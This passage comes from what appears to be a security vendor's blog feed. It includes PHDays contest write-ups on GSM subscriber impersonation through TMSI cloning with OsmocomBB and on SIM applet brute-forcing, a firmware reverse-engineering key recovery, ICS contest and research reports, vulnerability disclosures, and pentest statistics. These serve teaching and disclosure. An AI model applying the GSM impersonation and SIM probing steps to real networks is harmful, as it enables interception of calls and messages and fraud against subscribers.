Now you have enough information for the third task. Here, you have to pretend to be another subscriber as in the previous task. You know his number, but not TMSI. What can you do? It's easy: you just have to send an SMS message to the subscriber or call him to the number 77777. You will see the base station requests to the 77777 subscriber as in the last example. Note: you must use another cell phone for the call or SMS; otherwise, your Motorola won't see the base station's broadcast requests intended for the target subscriber.

After that, you need to put the TMSi into your phone by means of the clone command and make a call to the precious number!

OsmocomBB# call 1 2000

Now you take Motorola and listen to the code. If the participants have done everything right, they will hear it, otherwise — a joke will be the sole thing they get :)

Additionally, there were SMS messages in the network that informed about a new voice message received. If the participants hadn't been lazy and had opened the phone book of the device, they would have seen the number of the voice mail. If you call this number, you can hear insider information — data about increase and decrease in the rate of MiTM Mobile shares.

The fourth task was connected not quite with GSM, but with vulnerable SIM cards used for getting access to the network. Apart from the phone, each team got a SIM card with a pre-installed application showing a greeting — "Welcome to PHDays V". Lukas Kuzmiak and Karsten Nohl created a utility called SIMTester for searching vulnerable applets. Its key feature is the ability to work through osmocom cell phones. So, you need to plug the SIM card into the phone, connect it to your computer and start the search. After a couple of minutes, you can analyze the data obtained:


Apart from lots of apps disclosing information enough for key brute forcing, you've been provided with a "red" application, which doesn't demand any secret keys for accessing. Let's analyse it separately:


The last two bytes of the SIM card reply are the status bytes, where, for instance, 0x9000 means that the command has been completed successfully. In this case, you get 0x9124, which means there are 36 bytes the card wants to return to us. Let's change the program code a little and see, what kind of data it is.


After decoding, you will get:

>>> ‘D0228103012100820281028D1704596F752061726520636C6F73652C2062616420434C419000'.decode('hex')
'\xd0"\x81\x03\x01!\x00\x82\x02\x81\x02\x8d\x17\x04You are close, bad CLA\x90\x00'

You need to brute force all the possible CLAs and INSs for the instructions sent in the binary SMS message — and you will get the flag:


>>> 'D0378103012100820281028D2C04596F757220666C61673A2035306634323865623762623163313234323231383333366435306133376239659000'.decode('hex')
'\xd07\x81\x03\x01!\x00\x82\x02\x81\x02\x8d,\x04Your flag: 50f428eb7bb1c1242218336d50a37b9e\x90\x00'

That's it, as far as the tasks are concerned.

Contest winners and surprises

All the PHDays participants could try hand at the MiTM Mobile contest together with the CTF teams: those who wished to take part were provided with all the necessary equipment and a virtual machine. Overall, there were more than ten participants on top of the CTF teams.

However, the only one who managed to intercept the SMS message in the middle of the first day was Gleb Cherbov, who ultimately became the contest winner.

Only the More Smoked Leet Chicken team managed to complete three tasks by the beginning of the second day. The fourth task was available only for the CTF participants, but everybody failed it.

The forum visitors could notice that LTE and 3G were missing occasionally, and sometimes the network was not available if you come close to the zone with the GSM jammers that looked like this:
 

Some people were getting messages from the number 74957440144 (or from an anonymous one) with the text "SMS_from_bank" or some other "harmless spam". It was connected with the operation of the MiTm Mobile network.

Also, some "luckers" got the following message by the end of the second day:


This joke has nothing to do with MiTM Mobile functioning, but it reminds everyone once again of general safety rules. Watch out for your pet phone, which suddenly starts finding the MosMetro_Free network (free WiFi network in Moscow underground) in a place where it shouldn't be, connects to it, and lots of programs get loose into a trap. Some of them use the phone number as an identifier. The attacker can get this number and then sends the messages out through the SMS gateway to all the "luckers".


P.S. Here are the details about the network components for all those who would like to make a contest similar to our MitM Mobile.

The UmTRX itself is an SDR (Software Defined Radio), i.e. "just a radio". All the manuals concerning the configuration can be found at umtrx.org or osmocom.org. You may also use a ready-made solution from UmTRX — UmDESK, it has everything pre-installed. All you need is to fill in the configuration files according to the manual and start broadcasting.

You can find an image of the osmocombb stack here (we highly recommend you to have VMWare 11). This build is enough for experimenting. SIM cards are not necessary, but you have to get a cell phone and any USB-UART cable.

You could choose any cell phone from the list: http://bb.osmocom.org/trac/wiki/Hardware/Phones
Cables: http://bb.osmocom.org/trac/wiki/Hardware/SerialCable

And, yes, you can find PL2303 and FT232 almost everywhere. Unsoldering a 2.5 mini-jack is piece of cake.


You can order SIM cards and the cable here: http://shop.sysmocom.de/

Such as
USB-UART (CP2102): http://shop.sysmocom.de/products/cp2102-25
SIM cards: http://shop.sysmocom.de/t/sim-card-related/sim-cards

You can find cell phones on Ebay, buy in pedestrian underpasses, or order in China: on average, you will spend 10$ per phone.


We want to express special gratitude to the guys from Fairwaves (they are the ones who make UmTRX, UmDESK, UmROCKET, and etc.) for consulting and the equipment provided for testing. They do a GREAT thing! And also, special thanks to Ivan.

↧

Best Reverser Write-Up: Analyzing Uncommon Firmware

July 22, 2015, 12:42 am
$
0
0


While developing tasks for PHDays’ contest in reverse engineering, we had a purpose of replicating real problems that RE specialists might face. At the same time we tried to avoid allowing cliche solutions.


Let us define what common reverse engineering tasks look like. Given an executable file for Windows (or Linux, MacOS or any other widely-used operating system). We can run it, watch it in a debugger, and twist it in virtual environments in any way possible. File format is known. The processor’s instruction set is x86, AMD64 or ARM. Library functions and system calls are documented. The equipment can be accessed through the operating system only. Using tools like IDAPro and HеxRays makes analysis of such applications very simple, while debug protection, virtual machines with their own instruction sets, and obfuscation could complicate the task. But large vendors hardly ever use any of those in their programs. So there’s no point in developing a contest aimed at demonstrating skills that are rarely addressed in practice.

However, there’s another area, where reverse engineering became more in-demand, that’s firmware analysis. The input file (firmware) could be presented in any format, can be packed, encrypted. The operating system could be unpopular, or there could be no operating system at all. Parts of the code could not be changed with firmware updates. The processor could be based on any architecture. (For example, IDAPro “knows” not more than 100 different processors.) And of course, there’s no documentation available, debugging or code execution cannot be performed―a firmware is presented, but there’s no device.

Our contest’s participants needed to analyze an executable fileand find the correct key and the relative email (any internet user was able to take part in the contest).

Part One: Loader

 At the first stage, the input file is an ELF file compiled with a cross compiler for the PA-RISC architecture. IDA can work with this architecture, but not as good as with x86. Most requests to stack variables are not identified automatically, and you’ll have to do it manually. At least you can see all the library functions (log, printf, memcpy, strlen, fprintf, sscanf, memset, strspn) and even symbolic names for some functions (с32, exk, cry, pad, dec, cen, dde). The program expects two input arguments: an email and key.



It’s not hard to figure out that the key should consist of two parts separated by the “-“ character. The first part should consist of seven MIME64 characters (0-9A-Za-z+/), the second part of 32 hex characters that translate to 16 bytes.



Further we can see calls to c32 functions that result in:

t = c32(-1, argv[1], strlen(argv[1])+1)
k = ~c32(t, argv[2], strlen(argv[2])+1)

Name of the function is a hint: it’s a СRC32 function, which is confirmed by the constant 0xEDB88320.

Next, we call the dde function (short for doDecrypt), and it receives the inverted output of the CRC32 function (encryption key) as the first argument, and the address and the size of the encrypted array as the second and third ones.

Decryption is performed by BTEA (block tiny encryption algorithm) based on the code taken from Wikipedia. We can guess that it’s BTEA from the use of the constant DELTA==0x9E3779B9. It’s also used in other algorithms on which BTEA is based on, but there are not many of them.

The key should be of 128-bit width, but we receive only 32 bits from CRC32. So we get three more DWORDs from the exk function (expand_key) by multiplying the previous value by the same DELTA.

However, the use of BTEA is uncommon. First of all, the algorithm supports a variable-width block size, and we use a block of 12-bytes width (there are processors that have 24-bit width registers and memory, then why should we use only powers of two). And in the second place, we switched encryption and decryption functions.

Since data stream is encrypted, cipher block chaining is applied. Enthropy is calculated for decrypted data in the cen function (calc_enthropy). If its value exceeds 7, the decryption result is considered incorrect and the program will exit.

The encryption key is 32-bit width, so it seems to be easily brute-forced. However, in order to check every key we need to decrypt 80 kilobytes of data, and then calculate enthropy. So brute-forcing the encryption key will take a lot of time.

But after the calculation, we call the pad function (strip_pad), which check and remove PKCS#7 padding. Due to CBC features, we need to decrypt only one block (the last one), extract N byte, check whether its range is between 1 and 12 (inclusive) and each of the last N bytes has value N. This allows reducing the number of operations needed to check one key. But if the last encrypted byte equals 1 (which is true for 1/256 keys), the check should be still performed.

The faster method is to assume that decodeddata have a DWORD-aligned length (4 bytes). Thenin the lastDWORD of thelast block there may beonly oneof three possible values: 0x04040404, 0x08080808or0x0C0C0C0C.Byusingheuristic and brute force methods you canrun through all possiblekeys and find the right onein less than 20minutes.

If all the checks after the decryption(entropy and the integrity of thepadding) are successful, we call the fire_second_proc function,whichsimulates thelaunch of the secondCPU and the loading ofdecrypted dataof the firmware (modern devices usually havemore than one processor—with differentarchitectures).

Ifthe second processorlaunches, itreceives the user’s email and 16 bytes with the second part of the key via the functionsend_auth_data. At this pointwe made a mistake: there was the size ofthe stringwith the email instead of the size of thesecond part of thekey.

Part Two: Firmware

The analysis ofthe second part is a little bit more complicated. There was no ELF file,only a memory image—without headings, function names, and other metadata. Type of the processorandload address were unknown as well.

We thought of brute force as thealgorithm of determining theprocessor architecture. Open in IDA,setthe following type, and repeatuntil IDAshowssomething similar toa code. The brute forceshould leadto the conclusion thatit isbig-endian SPARC.

Now we needto determinethe load address. The function0x22E0is not called, but it contains a lot of code. We can assume thatis the entry pointof the program, the start function.

In the thirdinstructionof the start function, an unknownlibrary functionwith one argument== 0x126F0 is called,andthe same functionis called from the start function four more times, alwayswith arguments with similar values (0x12718, 0x12738, 0x12758, 0x12760).And in themiddle of the program, starting from 0x2490,there are five lines with textmessages:

00002490             .ascii "Firmware loaded, sending ok back."<0>
000024B8            .ascii "Failed to retrieve email."<0>
000024D8            .ascii "Failed to retrieve codes."<0>
000024F8             .ascii "Gratz!"<0>
00002500             .ascii "Sorry may be next time..."<0>

Assuming thatthe load addressequals0x126F0-0x2490 == 0x10260,then allthe argumentswillindicate thelines when callingthe libraryfunction, and the unknown function turns out to be theprintf function (or puts).

After changing theloadbase, the code willlook something like this:



The value of0x0BA0BAB0,transmitted to thefunctionsub_12194, can be found inthe first part ofthe task, in the functionfire_second_proc,and is compared withwhat we obtain fromread_pipe_u32 ().Thus sub_12194 should be calledwrite_pipe_u32.

Similarly,two calls of the library functionsub_24064 are memset (someVar,0, 0x101) forthe emailandcode, whilesub_121BC isread_pipe_str (),reversedwrite_pipe_str ()from the first part.

The firstfunction (at offset 0 or address0x10260)has typicalconstants ofMD5_Init:



 Next to the call to  MD5_Init,itis easy to detect the functionMD5_Update ()andMD5_Final (),preceded by thecall tothe librarystrlen ().



Not too many unknown functions are left in thestart() function.



The sub_12480functionreversesthe byte array of specified length. In fact, it’smemrev,whichreceives a code array inputof 16bytes.

Obviously, thesub_24040function checks whether thecodeis correct. Theargumentstransfer the calculated value ofMD5(email),the arrayfilled infunctionsub_12394,and the number16.Itcould beacall tomemcmp!

Thereal trickis happening insub_12394.There is almostnohintsthere, butthe algorithmis describedby one phrase—the multiplication ofbinary matrixof the 128 by the binary vector of128. The matrix is storedin the firmwareat0x240B8.

Thus,the codeis correctif MD5(email) == matrix_mul_vector (matrix, code).

Calculating the Key

To find the correctvalue of thecode,you need tosolve a system ofbinaryequations described by thematrix, where the right-hand sidearethe relevant bitsof theMD5(email).Ifyou forgot linear algebra: this is easily solvedby Gaussian elimination.

If the right-hand side of the key is known (32 hexadecimal characters), we can try to guess the first seven characters so that the CRC32 calculation result was equal to the value found for the key BTEA. There are about 1024 of such values, and they can be quickly obtained by brute-force, or by converting CRC32 and checking valid characters.

Now you need to put everything togetherand getthe key that will pass all thechecks andwill be recognizedas validby ourverifier:)
We were afraid thatno onewould be ableto solve the taskfrom the beginning to the end.Fortunately, Victor Alyushinshowed thatour fearsweregroundless. You can find his write-up on the task at http://nightsite.info/blog/16542-phdays-2015-best-reverser.html. This is the second time Victor Alyushin has won the contest (he was the winner in 2013 as well).

A participant who wished to remain anonymous solved a part of the task and took second place.

Thanks to all participants!

↧
Search

Digital Substation Takeover: Contest Overview

August 6, 2015, 4:00 pm
$
0
0

Digital Substation Takeover, presented by iGRIDS, was held at PHDays V. The contest's participants tried themselves in hacking a real electrical substation designed according to IEC 61850. The general task was to perform a successful attack against the electrical equipment control system.

What it's all about

A special high voltage (500 kV) substation model had been developed for the contest. It included switches, time servers, protective relays that are used in modern high voltage electric networks to ensure protection in emergency situations and incidents (in case of a short circuit, faults in a power transmission line etc.).

Several scenarios were offered, each of them corresponding to unauthorized access to switches: circuit breaker opening, earthing switch closing despite operation blocking. The contest's organizers suggested that the most difficult task—that is to cause an emergency on the site—would be followed by fireworks of burning wires of the model overhead power line set nearby.


This year's format combined various competitions with capture the flag contests. CTF teams along with the rest of the forum's participants were able to take part in them (see our article on our blog). About 50 PHDays attendees and several CTF teams took part in Digital Substation Takeover.

Technical details

The model used the following equipment:

  • Siemens SICAM PAS v. 7.0,
  • common protective relays and switches,
  • GPS and GLONASS time servers,
  • industrial switches.

The course of the contest


Since the contest was held for the first time at PHDays and due to its specific nature, participants spent the first day studying power-system protection, switches, and operation blocking. They had to analyze large amounts of information found on special forums, vendors' sites etc.


The contest comprised several tasks of different difficulty levels:

  • temporal destruction to the substation's information infrastructure (was performed six times);
  • time server reprogramming (was performed once);
  • unauthorized disconnection of consumers (twice);
  • detecting an unknown vulnerability (once).

The most difficult task was to take control over primary devices and issue a command bypassing blocking. No one managed to solve this task (though one team got quite close).

Sergey Sidorov took first place, Alexander Kalinin came second. RDot and ReallyNonamesFor gained some points for hacking the substation.

Not quite at ease

During the contest, representatives of power supply companies, such as the Federal Grid Company of Unified Energy System (FGC UES), were watching the process closely.

"To tell the truth, when I saw those people lounging in beanbags and hacking industrial control and protection systems for some virtual profit, I felt uncomfortable," said Mikhail Seleznev in an interview [ru] with Digital Substation, an online magazine. Mikhail is the head of the ICS and metrology division of the relay protection department at FGC UES. "No one can guarantee that a group of such creative individuals won't gather together and use the knowledge their obtained during this contest to crack real infrastructure—just for the fun of it. Are they aware of the weight of possible consequences of such actions?"

However, Mikhail doubts that it's IEC 61850 that should undergo any changes: "The standard should continue to develop for the benefit of the purposes it was designed for. Information security should be the subject of other standards. There has been much talk about ICS protection recently. In fact, it is important to engage representatives of power supply companies in such discussions—and in putting new methods into practice."

iGRIDS, the organizers of the contest, registered everything that occurred on the stand. By the middle of the contest, it became obvious that the range of threats was broader than they had expected. The developers assure that they will take into account new attack variations when developing subsequent versions of protection systems. And they’ve already got an invitation to take part in PHDays VI!
↧
↧

The eagerly awaited Gartner Web Application Firewall Magic Quadrant is released

August 21, 2015, 6:31 am
$
0
0



For the first time our application firewall product, PT AF™, has been named a ‘visionary’ in the Gartner "Magic Quadrant for Web Application Firewalls" report. We are ecstatic that Gartner recognized Positive Technologies for its ability to innovate and outperform in the WAF market particularly as we are a new entrant to this Magic Quadrant. It is very rewarding to be recognized for a compelling vision and credited with demonstrating a strong capability to protect business applications, notably SAP.  We are delighted that the Gartner report also noted that our partners and customers speak highly of both our responsiveness and of the quality of our technical support as looking after our customers is key to our overall company vision and core to everything we do.

2015 was an exciting year for us as we continued our international expansion winning new customers and signing new partners in many global locations.  We have been part of a new momentum among CIO’s and security teams running critical business processes to futureproof their business with better security.  Recent high-profile security breaches in both the private, public and government sectors have thrown new light on both the business and reputational costs to an organization.  They have also served as a reminder that traditional security is unable to cope with the most determined and sophisticated of attacks.  

Gartner is seeing growth in this market, “By year-end 2020, more than 60% of public Web applications protected by a Web application firewall (WAF)”, (Gartner 2015) which is not surprising give the rise in both the numbers and complexity of attacks.

Gartner produces this excellent independent report with no vested interests in any of the vendors and with just one purpose, to examine, review and report on what the WAF market looks like today shielding the buyer from complex marketing messaging and smooth sales pitches.

↧

Positive Technologies helps to eliminate critical vulnerabilities in Siemens and Schneider Electric SCADA systems

August 21, 2015, 6:31 pm
$
0
0

Ilya Karpov, a Positive Technologies expert, detected vulnerabilities in products intended for building automation systems in various industries — from petrochemical to power plants.

Ilya found a problem related to clear-text password storage in Schneider Electric systems — InTouch Machine Edition 2014 (version 7.1, Service Pack 3, Patch 4) and InduSoft Web Studio (7.1.3.4), as well as in their previous builds. The vulnerability that got the CVE-2015-1009 identifier and 6.4 base mark though cannot be exploited remotely requires only a low-qualified internal attacker.

Schneider Electric specialists recommend users to install new security updates as soon as possible (a patch for InTouch Machine Edition 2014 and a patch for InduSoft Web Studio) and restrict physical access of the personnel to these systems in order to decrease a potential risk of confidential information disclosure by internal attackers.

In July, Siemens issued a special update for the April note, where it thanked Ilya Karpov for detecting a dangerous and easy-to-use vulnerability that was threatening security of quite a few Siemens SIMATIC-based solutions:

  • SIMATIC HMI Basic Panels 2nd Generation — all the versions up to WinCC (TIA Portal) V13 SP1 Upd2;
  • SIMATIC HMI Comfort Panels — all the versions up to WinCC (TIA Portal) V13 SP1 Upd2;
  • SIMATIC WinCC Runtime Advanced — all the versions up to WinCC (TIA Portal) V13 SP1 Upd2;
  • SIMATIC WinCC Runtime Professional — all the versions up to WinCC (TIA Portal) V13 SP1 Upd2;
  • SIMATIC WinCC Runtime Professional — all the versions up to WinCC (TIA Portal) V13 SP1 Upd2;
  • SIMATIC HMI Mobile Panel 277 (WinCC TIA Portal) — all the versions up to WinCC (TIA Portal) V13 SP1 Upd4;
  • SIMATIC HMI Multi Panels (WinCC TIA Portal) — all the versions up to WinCC (TIA Portal) V13 SP1 Upd4;
  • SIMATIC WinCC V7.X — all the versions up to V7.3 Upd4;
  • SIMATIC PCS 7 — all the versions up to V8.1 SP1.

The CVE-2015-2823 error rated 6.8 allows using user password hash function in order to authenticate locally and remotely at the server. You don't even have to know the password.

All necessary tests for security issues detected in Siemens SIMATIC software have been added to the knowledge base of the PT MaxPatrol vulnerability and compliance control management system.

Positive Technologies started to cooperate with leading ICS vendors long ago. The large-scale study “SCADA safety in Numbers” was presented on 2012. A year later, PT experts created Choo Choo Pwn — an up-to-date large-scale railway model, whose components (trains, railroad crossing gates, and traffic lights) are controlled by an ICS based on three real SCADA systems. The model was used for SCADA security contest at Positive Hack Days, the annual international conference on information security.

In 2014, the contest infrastructure was significantly changed to allow detection of zero-day vulnerabilities within a wider range of systems and industrial protocols including: transport, city lighting system, power plants and various robots. The contest’s winner Alisa Shevchenko was thanked by Schneider Electric for the vulnerabilities she identified.  

This year's Choo Choo Pwn was even more realistic: the participants couldn't send a command leading to a failure because the traffic security logic wouldn't let that happen. So, the goal of the challenge was to break the transport security means.
↧

Key Vulnerabilities in Corporate Information Systems in 2014: Web Applications, Passwords and Employees

September 5, 2015, 8:10 pm
$
0
0




From 2013 to 2014, there was an increase in the vulnerability of the information systems of large enterprises. In about 60% of system attacks, the network perimeters were penetrated via web application vulnerabilities. Additionally in 2014, there was decreased awareness among employees regarding security issues, as they were more likely to follow unverified links and open files attached to e-mails from unknown sources.

These findings are outlined in detail in Positive Technologies’ 2014 penetration testing results publication and contrast significantly from the 2013 findings. The penetration testing simulates a hacker attack and provides a more realistic assessment than traditional auditing techniques alone.

General Results

The penetration testing data used in this article is drawn from testing the information systems of 18 large public and private companies. The firms are comprised of Fortune Global 500 firms and include some of the largest Russian firms in terms of volume of products produced annually, as ranked by Expert RA. More than half of the enterprises had multiple international subsidiaries and most systems had hundreds of active hosts available at the network perimeter. The majority of the firms operate in the manufacturing, banking and IT sectors.

In 2014, 94% of systems in the penetration testing study contained vulnerabilities that allowed testers to gain full control over some critical resources — Active Directory, ERP, e-mail, or network equipment control systems. In 67% of cases, an external attacker could gain full control over the most critical resources and in 27% of cases gaining access to the intranet user segment was enough to facilitate full control over the critical resource.

In both 2013 and 2014, almost all the systems had high-severity vulnerabilities and most of these critical vulnerabilities related to configuration flaws. However in 2014, most systems, 78%, had critical vulnerabilities related to outdated software updates, worse than the 2013 results of about 50%. The average age of the most outdated patch was 73 months, compared to just 32 months in 2013. In three systems, MS08-067 (CVE-2008-4250), a 6-year-old critical vulnerability widely used by both hackers and the Conficker network worm, was still in use.




System compared by maximum severity of vulnerabilities caused by the lack of updates

Additionally in 2014, almost every information system, 89%, had vulnerabilities related to web application code errors and more than half of the companies, 61%, had high-severity vulnerabilities.

Security Perimeter Flaws

In 73% of systems, an outside attacker accessing the network from the Internet could access intranet hosts without using social engineering. When combining the use of intranet hosts with social engineering outside access to the system was gained in 87% of cases. In 2014, a low-qualified attacker could successfully attack 61% of systems, compared to just 46% in 2013.



Difficulty of penetrating the perimeter

Penetrating the perimeter in 2014, as in 2013, required exploitation of, on average, only two vulnerabilities However, one vulnerability was enough to penetrate more than half of the systems (6 out of 11) in 2014. Additionally, in 60% of all cases the penetration vector is based on web application code vulnerabilities. For example, SQL Injection appears in 67% of systems, and unrestricted file upload in 40%.

The most common vulnerabilities at the network perimeter are:

  • Network equipment and server control interfaces available from the Internet, rising from 82% to 93% from 2013 to 2014. 
  • Dictionary passwords, including default and empty passwords — 87%. Also note that 67% of all systems used dictionary IDs and passwords as administrator IDs and passwords at the perimeter. Both of these factors increase the likelihood that an attacked could access the intranet.

By contrast, Heartbleed and Shellshock vulnerabilities, both of which garnered media scrutiny in 2014, have not been widely used in hacks, as the coverage encouraged most large companies to install updates to protect against them. Nevertheless, one company in this study did have an unfixed Heartbleed vulnerability that allowed attackers to obtain many customers’ credentials.



The most common vulnerabilities at the network perimeter

Gaining access to the company intranet is often the first step for an external attacker to gain access to critical resources. The 2014 report demonstrates that after gaining full control over critical resources in 80% of systems, the hacker would have been able to penetrate the network perimeter.



Privilege level gained by external attacker

Intranet Security Flaws

Positive Technologies also considered the attack vectors of an internal hacker. The results of a hack by an employee located in the user segment of the network resulted in unauthorized access privileges leading to full control over information infrastructure in 78% of cases and access to critical resources such as banking and ERP systems in all the cases.

In 56% of cases, a low skilled attacker is able to access critical resources. Complicated attacks, requiring a high skill level to coordinate, were not necessary to access critical resources in 2014. By contrast, in 2013 they were required to penetrate 17% of systems. On average, an internal attacker needed to exploit three different vulnerabilities to gain control over critical resources in 2014, worse than the 2013 results in which an attacker had to exploit an average of five vulnerabilities.


Difficulty of gaining access to critical recourses by internal attackers

Weak passwords are still the most common intranet security vulnerability detected in all the systems studied. Every system had weak administrator passwords, more than half of them were only six characters long.


Systems compared by dictionary passwords. Administrator passwords are red, user passwords are blue

The second most common intranet vulnerability is insufficient security on privileged accounts, a problem found in 88% of systems in 2014. In the case of the privileged accounts attack, the hacker can use high privileges to access the domain on behalf of an unknown account due to architecture flaws in the Kerberos protocol, an attack that is hard to detect.


The most common intranet vulnerabilities


Lack of Staff Awareness

As part of the penetration testing IS awareness checks were carried out among the system users. The results were based on the most common hacker methods — emailing messages containing an attachment or with a link embedded. The penetration testing monitored the number of links opened and files downloaded, as well as the number of credentials entered, to simulate a phishing scam.
From 2013 to 2014, staff vigilance about these types of attacks decreased significantly. In 2014, staff at 67% of companies whose systems were tested showed low or extremely low awareness level, and the others were estimated as "below average". In particular, the number of users who followed the link increased from 11% to 20% and those who entered credentials in the phishing simulation quadrupled to 15%.


The threat events, total number of messages

The results of the penetration testing presented in this article argue for improved security measures. Key areas include password policy, web application security, regular security updates, and privileged account security and user awareness. Additionally regular security audits of information systems and penetration testing both internal and external are recommended.

To access the full report please see: www.ptsecurity.com/upload/ptcom/PT_Pentalytic_2015_ENG.PDF

↧

Positive Technologies Experts Detect Critical Vulnerability in Huawei LTE Modems

October 2, 2015, 8:02 am
$
0
0
Huawei thanked the Positive Technologies experts Timur Yunusov and Kirill Nesterov and the information security specialist Alexey Osipov, who detected a harmful vulnerability in Huawei 4G USB modems (E3272s) and helped to fix it.


Upon the research, the Chinese telecommunications equipment company issued a software update for the device.

According to the Huawei PSIRT bulletin, a potential intruder can block the device by sending a malicious packet. The Positive Technologies researchers claim that the vulnerability may lead to a DOS attack and remote arbitrary code execution via an XSS attack or stack overflow.

In late 2014, Positive Technologies specialists carried out a large-scale research on vulnerabilities in 4G USB modems, which included investigation of six different series of devices (including Huawei E3272s) with 30 various types of firmware.

By exploiting detected flaws, an intruder can gain rights on a remote modem, take control over the computer connected to the vulnerable modem, and obtain access to the subscriber's account in the mobile operator's portal. Moreover, attacks on SIM cards via binary SMS messages allow an attacker to intercept and decrypt a subscriber's traffic, track his or her location, and block the SIM card. Timur Yunusov covered attacks on 4G network equipment in his speech at PHDays V in May 2015. You can watch his presentation Bootkit via SMS: 4G Access Level Security Assessment on Positive Technologies' page on YouTube.

This is not the first research on the safety of telecommunications equipment and mobile network conducted by Positive Technologies experts. In January 2015, Evgeny Stroev issued a report on severe SNMP vulnerabilities in network equipment produced by Huawei and H3C. Those vulnerabilities allowed penetrating a corporate network of any company, including a technological network of a mobile carrier.

A research, carried out by Dmitry Kurbatov, Sergey Puzankov, and Pavel Novikov in February 2015, revealed that a good few of 2G and 3G mobile networks can be accessed via the internet because of open GTP ports and other open data transfer protocols (FTP, Telnet, HTTP). An attacker can connect to the node of a mobile network operator by exploiting vulnerabilities (for example, default passwords) in these interfaces.

↧
↧

Industrial control system security in 2014: trends and vulnerabilities

October 14, 2015, 9:53 am
$
0
0

In recent years, the industrial control systems (ICS) have become a popular target for malicious users and cyber criminals. The Stuxnet (2010) and Flame (2012) worms were replaced by more complicated malware and sophisticated attack schemes in 2014. For example, hackers spread the Havex Trojan horse by injecting malicious code into SCADA software on vendors' websites. This malicious software was then downloaded in factories, so that attackers could obtain administrative access to industrial control systems in several European countries.

In 2012, specialists from Positive Technologies published a research paper entitled "SCADA Safety in Numbers". The current report is an update on that paper through 2015. Key trends in ICS security are listed below:

(1) Openness 

Many ICSs are found within production, transportation, and water and energy supply systems and can be located on the Internet using publicly available search engines. In January 2015, researchers from Positive Technologies discovered more than 140,000 different ICS components this way. Moreover, the end users of these systems are not aware components are exposed. We discovered flaws in kiosk mode, cloud services, sensors, physical ports, and industrial Wi-Fi, none of which would normally be considered a common attack vector.

(2) One Key for Too Many Locks 

A large increase in ICS implementation combined with a limited number of software vendors has resulted in the use of similar SCADA platforms for critical objects in different industries. This replication allows hackers to deploy similar attacks across critical infrastructure. For example, our specialists discovered vulnerabilities in control systems of the Large Hadron Collider, several European airports, nuclear power plants in Iran, the largest pipelines and water supply systems across several countries, and trains and chemical plants in Russia. If a hacker could fully capitalize on these vulnerabilities, they could attack various systems all over the world.

(3) Malware Is Updated More Often Than Protection 

Complicated ICS structures and the requirement for continuity of processes, not allowing for any downtime on equipment, results in basic ICS elements (industrial protocols, OS, DBMS) becoming outdated and unpatched. Bugs remain unfixed for years while at the same time development of automated tools significantly accelerates hacking activities. In the course of the Critical Infrastructure Attack contest, at the PHDays IV forum in 2014, several up-to-date SCADA platforms used in actual industries were hacked in just two days.

(4) Crazy House instead of Smart Home

The term Industrial Control System (ICS) appeared in 1980s when automated systems or production units were mainly present in large manufacturing industries. Reduction in cost and size allowed computerized devices to be adapted for other fields like building maintenance, monitoring, and power distribution. However, neither vendors nor users normally consider their security, and our research demonstrates that many of these devices can be accessed via the internet.

Research Method

Information about vulnerabilities were generated from: Vulnerability databases (ICS-CERT, NVD/CVE, SCADA Strangelove, Siemens Product CERT, etc.), penetration testing software (SAINTexploit, Metasploit Framework, Immunity Canvas, etc.), vendors' advisories, scientific white papers and posts on dedicated websites.

The severity of the vulnerabilities was graded based on CVSS version 2. It should be noted that a limiting factor in this research is the availability of information about the vulnerability, dependent on corporate disclosure policies. It is possible that the state of ICS security is significantly worse than the figures presented in this report.

Information on access to ICS systems via the web was obtained by passive methods using publicly available search engines (Shodan, Project Sonar, Google, Bing) and port scanning. Data was analyzed using a fingerprint database comprising 740 records, which allowed researchers to identify the product vendor and version by the banner. Most fingerprints related to SNMP (240) and HTTP (113) protocols, but about one third of fingerprints related to various industrial protocols (Modbus, DNP3, S7, etc.).

Number of Vulnerabilities

The research revealed 691 vulnerabilities in ICS components. This represents a significant increase from 2009, and a 20-fold increase between 2010 and 2012 from just nine to 192.



ICS Vulnerabilities by Year

Vulnerability Assessment

The severity levels of the vulnerabilities in 2014 are instead of is consistent with those in 2012, as most vulnerabilities have "High" (58%) and "Medium" (39%) severity.

In terms of the CVSS score metrics, more than half of the vulnerabilities have low Access Complexity, and many vulnerabilities can be exploited remotely to facilitate attack.

As information on vulnerability patching is not publicly disclosed, data for this research was obtained by Positive Technologies' specialists from vendors. The situation is worse in 2014 than in 2012, when most vulnerabilities (around 81%) were fixed quickly by vendors before they could be exploited or within 30 days of public disclosure. As of Q1 2015, only 14% of vulnerabilities were fixed within three months, 34% remained unpatched for more than three months, and the remainder, 52% of vulnerabilities, are still unpatched or the vendor provides no information on bug fixes at the time of publication.



ICS Patching

Vulnerabilities by Vendor 

Vendors and the number of vulnerabilities found in each is as follows: Siemens (124 vulnerabilities), Schneider Electric including Invensys after acquisition (96 vulnerabilities), Advantech (51 vulnerabilities), General Electric (31 vulnerabilities). However, the list of vulnerable products is far more extensive. The diagram below shows the Top List of “vulnerable” vendors, but the other 88 vendors are unified under "Others," and this represents a large percentage of the overall vulnerabilities.


 ICS Vulnerabilities by Vendor (wrt severity)

Geography of ICS Accessibility and Exploitability 

Our research uncovered a total of 146,137 ICS components that can be accessed via the web. The most common are Tridium (Honeywell) building automation systems, and power monitoring and control systems including SMA Solar Technology systems for solar power management. The most accessible components are PLCs/RTUs, followed by systems for inverter monitoring and control, and network devices and HMI/SCADA components.

More technologically advanced countries have higher levels of automation, thus the number of industrial systems exposed to the Internet is also high in these countries. Unsurprisingly, the most exposed systems are in the USA (33%) and Germany (with significant 19%). On the whole, Europe showed significant growth in accessibility of industrial systems through the web. By contrast, Asia hosts local systems, unlike the well known ICS components, which sometimes cannot be identified.


ICS Accessibility by Country

Further analysis of exposed ICS components reveals more than 15,000 vulnerable components. Most ICS are located in the USA followed by France, Italy, and Germany, mapping closely with prevalence. It should be noted that while the most common components exposed to the Internet contain less vulnerabilities, more than 10% of exposed ICSs are vulnerable.


 Geography of Vulnerable ICS Components

The full version of this research made by PT experts Evgeny Druzhinin, Ilya Karpov, Alexander Timorin, Sergey Gordeychik and Gleb Gritsay, will be published later at the Positive Research site: www.ptsecurity.com/research/
↧

Vulnerability Assessment According to CVSS 3.0

October 22, 2015, 6:40 am
$
0
0

We have been using this assessment system since we created our vulnerability base and developed our first product, XSpider (I hope there are some who remember it). It is very important for us to maintain the knowledge base that we use in our products and services and keep it up-to-date. Since the guidelines to CVSS metrics do not cover all the possible vulnerabilities, the question arises: what is the best way to make the index reflect the real severity level of a vulnerability?

